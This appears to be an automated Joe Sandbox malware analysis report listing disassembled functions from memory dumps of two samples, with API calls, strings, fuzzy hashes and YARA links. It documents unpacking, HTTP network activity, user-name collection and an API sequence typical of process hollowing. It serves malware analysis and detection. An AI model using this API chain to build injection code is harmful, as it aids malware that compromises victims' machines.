Instruction Fuzzy Hash: 0521D7B12443056BE7386B74BCCCB7B37ACDB49351F10043AF642EA1E1D67E8C848669

Uniqueness

Uniqueness Score: -1.00%

Function 004272CC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,00000000,?,?,?,0000000B), ref: 00427311

Part of subcall function 00427098: VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 004270C1
Part of subcall function 00427098: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0042726D

VirtualAlloc.KERNELBASE(00000000,00400000,00001000,00000004,?,?,?,00000000,?,?,0000000B), ref: 00427363
VirtualProtect.KERNELBASE(0000002C,?,00000040,0000002C,00000000,00000000,?,?,0000000B), ref: 004273BD
VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,00000000,?,?,0000000B), ref: 004273F0

Strings

,, xrefs: 00427341

Memory Dump Source

Source File: 00000017.00000002.2815661088.0000000000427000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2815399068.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000017.00000002.2815521410.0000000000401000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000017.00000002.2815803431.0000000000437000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000017.00000002.2816009522.0000000000489000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_F324.jbxd

Similarity

API ID: Virtual$Alloc$Free$Protect
String ID: ,
API String ID: 1004437363-3772416878
Opcode ID: 15a4efe748f616053fe8ffffddab00f5333e8782292edb7e0670b88d1d28ae77
Instruction ID: 04cd73393287483ba110226213723f2bc03cf9cbeca2a68a19bb02d12f4ffc40
Opcode Fuzzy Hash: 15a4efe748f616053fe8ffffddab00f5333e8782292edb7e0670b88d1d28ae77
Instruction Fuzzy Hash: B6411CB5A0031AAFCB10DFA9D881A9EBBF4FF08354F50851AF959A7240D374E954CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004272CC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,00000000,?,?), ref: 00427311

Part of subcall function 00427098: VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 004270C1
Part of subcall function 00427098: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0042726D

VirtualAlloc.KERNELBASE(00000000,00400000,00001000,00000004), ref: 00427363
VirtualProtect.KERNELBASE(0000002C,?,00000040,0000002C), ref: 004273BD
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 004273F0

Strings

,, xrefs: 00427341

Memory Dump Source

Source File: 00000017.00000003.2777866977.0000000000427000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00427000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_3_427000_F324.jbxd

Similarity

API ID: Virtual$Alloc$Free$Protect
String ID: ,
API String ID: 1004437363-3772416878
Opcode ID: 15a4efe748f616053fe8ffffddab00f5333e8782292edb7e0670b88d1d28ae77
Instruction ID: 04cd73393287483ba110226213723f2bc03cf9cbeca2a68a19bb02d12f4ffc40
Opcode Fuzzy Hash: 15a4efe748f616053fe8ffffddab00f5333e8782292edb7e0670b88d1d28ae77
Instruction Fuzzy Hash: B6411CB5A0031AAFCB10DFA9D881A9EBBF4FF08354F50851AF959A7240D374E954CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00427098 Relevance: 4.7, APIs: 2, Strings: 1, Instructions: 163
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 004270C1
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0042726D

Strings

8sB, xrefs: 004271FC, 00427203, 0042720E

Memory Dump Source

Source File: 00000017.00000002.2815661088.0000000000427000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.2815399068.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000017.00000002.2815521410.0000000000401000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000017.00000002.2815803431.0000000000437000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000017.00000002.2816009522.0000000000489000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_F324.jbxd

Similarity

API ID: Virtual$AllocFree
String ID: 8sB
API String ID: 2087232378-1241081779
Opcode ID: c4e05415e69c24d916c032145dcef53eb47034c17d4a44e0f4697a572808d492
Instruction ID: ebe234c56d8c58d72e37663f9a88e747cece982d06593baa1cabaf23eeb3f041
Opcode Fuzzy Hash: c4e05415e69c24d916c032145dcef53eb47034c17d4a44e0f4697a572808d492
Instruction Fuzzy Hash: E8719C71A08259DFCB41CF98D981BEEBBF0AF09314F244096E465F7241C238AA91DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00427098 Relevance: 2.7, APIs: 2, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 004270C1
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0042726D

Memory Dump Source

Source File: 00000017.00000003.2777866977.0000000000427000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00427000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_3_427000_F324.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction ID: ebe234c56d8c58d72e37663f9a88e747cece982d06593baa1cabaf23eeb3f041
Opcode Fuzzy Hash: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction Fuzzy Hash: E8719C71A08259DFCB41CF98D981BEEBBF0AF09314F244096E465F7241C238AA91DB69

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: F557.exePID: 3648, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	1.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	346
Total number of Limit Nodes:	4

Executed Functions

Function 00599F9B Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,00599F9A,?,?,?,?,?,0059AFBD), ref: 00599FBD
TerminateProcess.KERNEL32(00000000,?,00599F9A,?,?,?,?,?,0059AFBD), ref: 00599FC4
ExitProcess.KERNEL32 ref: 00599FD6

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: b4fd700bf078d4cc505914775f29c6b8e1e483d20fd458f74cd0f491320a93bb
Instruction ID: 8e3a43b5e49c74c85cddce5a8820194190726b10b5a47f7ff6aaa089afce1888
Opcode Fuzzy Hash: b4fd700bf078d4cc505914775f29c6b8e1e483d20fd458f74cd0f491320a93bb
Instruction Fuzzy Hash: C7E04631010109ABCF622B58CD0D948BF68FBA0341B008418F805C6132CB35EC82EA90

Uniqueness

Uniqueness Score: -1.00%

Function 0056BFC0 Relevance: 21.4, APIs: 9, Strings: 3, Instructions: 363
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(005BCEE4,00000000,00000000,00000000,00000000), ref: 0056C04C
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0056C070
HttpOpenRequestA.WININET(?,00000000), ref: 0056C0BA
HttpSendRequestA.WININET(?,00000000), ref: 0056C17A
InternetReadFile.WININET(?,?,000003FF,?), ref: 0056C22C
InternetReadFile.WININET(?,00000000,000003FF,?), ref: 0056C2E0
InternetCloseHandle.WININET(?), ref: 0056C307
InternetCloseHandle.WININET(?), ref: 0056C30F
InternetCloseHandle.WININET(?), ref: 0056C317

Strings

stoi argument out of range, xrefs: 00570DEA
-, xrefs: 0056E35E
invalid stoi argument, xrefs: 00570DF4

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSend
String ID: -$invalid stoi argument$stoi argument out of range
API String ID: 1354133546-1474290045
Opcode ID: d22971860bff687121cdc96685234451596ce0e6b8857d857180bc5b82325ff9
Instruction ID: 8c7449406b0d817a60898fbb3f08d64f20b536ae5f5ae7753d0e0fed3f17c937
Opcode Fuzzy Hash: d22971860bff687121cdc96685234451596ce0e6b8857d857180bc5b82325ff9
Instruction Fuzzy Hash: 3FD1D4B16001189BEF24DF28CC88BADBF75BF85305F508298F94997292DB759AC0CF95

Uniqueness

Uniqueness Score: -1.00%

Function 005A538C Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005A5045: CreateFileW.KERNELBASE(00000000,?,?,5TZ,?,?,00000000,?,005A5435,00000000,0000000C), ref: 005A5062

GetLastError.KERNEL32 ref: 005A54A0
__dosmaperr.LIBCMT ref: 005A54A7
GetFileType.KERNELBASE(00000000), ref: 005A54B3
GetLastError.KERNEL32 ref: 005A54BD
__dosmaperr.LIBCMT ref: 005A54C6
CloseHandle.KERNEL32(00000000), ref: 005A54E6
CloseHandle.KERNEL32(0059E012), ref: 005A5633
GetLastError.KERNEL32 ref: 005A5665
__dosmaperr.LIBCMT ref: 005A566C

Strings

H, xrefs: 005A55F1

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: d19cc9cca68c75f5b7240b90de1f4c0773ee75e5e33d7652b7a0ebeb74bed61f
Instruction ID: ad74b1c30fbc43fff80a2ae33393ccb7fc336f91f84c8f138a2e7bc131266794
Opcode Fuzzy Hash: d19cc9cca68c75f5b7240b90de1f4c0773ee75e5e33d7652b7a0ebeb74bed61f
Instruction Fuzzy Hash: B3A14632A145499FCF199F68DC99BAE3FA1BB4B320F140159F801EF291EB359C06CB52

Uniqueness

Uniqueness Score: -1.00%

Function 005654F0 Relevance: 9.3, APIs: 6, Instructions: 338
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7ba5ea408cfc31950f4d5c50a4205b84903b839a09f9da1640fe531ad92a71c
Instruction ID: 69a62a11139911c3a53a0669b98a376df61b8a80e6c5d73fe1ecd86e3762a58d
Opcode Fuzzy Hash: b7ba5ea408cfc31950f4d5c50a4205b84903b839a09f9da1640fe531ad92a71c
Instruction Fuzzy Hash: A2C1A070A00209DFEF14DF68C849BDEBFB5FF44304F508228E915AB281E774AA84CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00567630 Relevance: 7.9, APIs: 5, Instructions: 388
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(0000011C,E5E97FEB), ref: 005676AA
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0056770B
GetProcAddress.KERNEL32(00000000), ref: 00567712
GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 005677D3
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 005677D7

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: InfoSystem$AddressHandleModuleNativeProcVersion
String ID:
API String ID: 374719553-0
Opcode ID: 8d64af8593039421c4b1d0770c6de4469ce7a7e2eabdea4f06a695ff9e19a375
Instruction ID: 17ea96a65e4c6ca0356aab920fccad247f21c9cb6cea609a3de41c42249433c5
Opcode Fuzzy Hash: 8d64af8593039421c4b1d0770c6de4469ce7a7e2eabdea4f06a695ff9e19a375
Instruction Fuzzy Hash: 61D10470E046099BDF14BB68DC4B7AD7F61BB89324F54428CE4196B3D2EB354E849BC2

Uniqueness

Uniqueness Score: -1.00%

Function 005670B0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 468
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000003E8), ref: 00567379

Strings

runas, xrefs: 00566C03

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: runas
API String ID: 3472027048-4000483414
Opcode ID: 9be21cf0f8874bfa9f09036ca3669693c03c4bf18085070794ff887167d8111b
Instruction ID: a579f67b6917a61a6061923bfe0b311cfe85e08073f82ad20998887493cf57c3
Opcode Fuzzy Hash: 9be21cf0f8874bfa9f09036ca3669693c03c4bf18085070794ff887167d8111b
Instruction Fuzzy Hash: 21E13771A041489BEF08EB78CD4A79D7F76FB85314F20825CF815AB3C6DB359A408B96

Uniqueness

Uniqueness Score: -1.00%

Function 005A5045 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,?,5TZ,?,?,00000000,?,005A5435,00000000,0000000C), ref: 005A5062

Strings

5TZ, xrefs: 005A5056

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: 5TZ
API String ID: 823142352-2290671315
Opcode ID: 1d9ff9d91fff40c3208d6429e35978ba350421d080ce93aaa85fe3da71293db3
Instruction ID: 2b0a42540e16531a81aeddea683a5b9a2ce6b10be22edf8b9a16597218480030
Opcode Fuzzy Hash: 1d9ff9d91fff40c3208d6429e35978ba350421d080ce93aaa85fe3da71293db3
Instruction Fuzzy Hash: CED06C3601010DBBDF128F84DC06EDA3BAAFB48714F014100BA1856020C732E861AB90

Uniqueness

Uniqueness Score: -1.00%

Function 0056D520 Relevance: 1.8, APIs: 1, Instructions: 313
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situFileModuleMtx_destroy_in_situNameOpen
String ID:
API String ID: 2062985213-0
Opcode ID: 8ae3076801402f49661d7db48105e594ac0ec9e6eb7f261e3654c48ae93fdb2e
Instruction ID: 63dbaac2a1d3dd94ebc0ea7c27d87cebba17a53bc1ee9aad9729647d086ad137
Opcode Fuzzy Hash: 8ae3076801402f49661d7db48105e594ac0ec9e6eb7f261e3654c48ae93fdb2e
Instruction Fuzzy Hash: 6AC1B370E002589BEF25EB68CD5A7DEBF75BB85304F5041C8E40967282DB755F88CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0059DFD3 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsopen_s.LIBCMT ref: 0059E00D

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 89f67915ff6a8c34636cc3a8938cff83c91f1d1bda939465c7c27e19965a3e4c
Instruction ID: 331136c481492eaa07dd8cccca297e40276927a75dbdc177d75a52decb2bc9cc
Opcode Fuzzy Hash: 89f67915ff6a8c34636cc3a8938cff83c91f1d1bda939465c7c27e19965a3e4c
Instruction Fuzzy Hash: E8111571A0420AEFCF05DF59E94599F7BF4FF88304F044069F809AB251D670EA15CB64

Uniqueness

Uniqueness Score: -1.00%

Function 005A52FE Relevance: 1.5, APIs: 1, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 005A5361

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: d41fb5f2a18ffdeaf543663bdc1ae49a0cfbadd762f996e6220445bf814dc7d0
Instruction ID: e7da8b8af2e8b49569502ba8510c382c60a6dd9888fb5a6737334231b9b2b66f
Opcode Fuzzy Hash: d41fb5f2a18ffdeaf543663bdc1ae49a0cfbadd762f996e6220445bf814dc7d0
Instruction Fuzzy Hash: 00014F72C0015EBFCF01AFA89C059EE7FB5BF48350F144566FD14E2161E6718A24DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0057A940 Relevance: 1.5, APIs: 1, Instructions: 36
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00569A00: CreateMutexA.KERNEL32(00000000,00000000,005C7250), ref: 0056A978
Part of subcall function 00569A00: GetLastError.KERNEL32 ref: 0056A97E

Part of subcall function 0056D520: GetModuleFileNameA.KERNEL32(00000000,?,00000104,E5E97FEB,00000000), ref: 0056CB7C

Part of subcall function 00568CB0: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00568CE0

Part of subcall function 0056DD40: GetUserNameA.ADVAPI32(?,?), ref: 0056DEAE

Part of subcall function 0057A8F0: CreateThread.KERNEL32(00000000,00000000,0057A7C0,00000000,00000000,00000000), ref: 0057A906
Part of subcall function 0057A8F0: CreateThread.KERNEL32(00000000,00000000,Function_0001A850,00000000,00000000,00000000), ref: 0057A917
Part of subcall function 0057A8F0: CreateThread.KERNEL32(00000000,00000000,0057A8E0,00000000,00000000,00000000), ref: 0057A928
Part of subcall function 0057A8F0: Sleep.KERNEL32(00007530,?,0057A983), ref: 0057A935

InternetCloseHandle.WININET(00000000), ref: 0057A997

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Create$NameThread$FileModule$CloseErrorHandleInternetLastMutexSleepUser
String ID:
API String ID: 502925377-0
Opcode ID: 9d35130ce92391de0cd2d8ae8a191c028c2b7545048ea0b8c4c5fc7c2309e518
Instruction ID: 16590b32c04e7b31596aad9bb1842fb981b090f483cb0a453110e7eac1bf9400
Opcode Fuzzy Hash: 9d35130ce92391de0cd2d8ae8a191c028c2b7545048ea0b8c4c5fc7c2309e518
Instruction Fuzzy Hash: 17E08C60E006060BDA0037BDAD1FA2D3E287FC1300F544764B9199B1D7ED41995095F3

Uniqueness

Uniqueness Score: -1.00%

Function 00568010 Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000,0056DC6B,?,?,?,?), ref: 00568019

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 6dfc8528a7b2aead58e3276820b8707059b1529cbfd52a65c499f8ef842a946f
Instruction ID: 0f18fe1ee53cdf833af563a138a1c591e7eb1eb6e80f159b12467c993c39ad9b
Opcode Fuzzy Hash: 6dfc8528a7b2aead58e3276820b8707059b1529cbfd52a65c499f8ef842a946f
Instruction Fuzzy Hash: 31C0123001160097EE2C6A38566C0763B11BA433753E41F88D1718B1E2CB77A80FEA50

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00566990 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 150injectionthreadmemoryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 005669B6
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00566A1B
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00566A34
GetThreadContext.KERNEL32(?,00000000), ref: 00566A4F
ReadProcessMemory.KERNEL32(?, ,?,00000004,00000000), ref: 00566A73
GetModuleHandleA.KERNEL32(ntdll.dll,NtUnmapViewOfSection), ref: 00566A8E
GetProcAddress.KERNEL32(00000000), ref: 00566A95
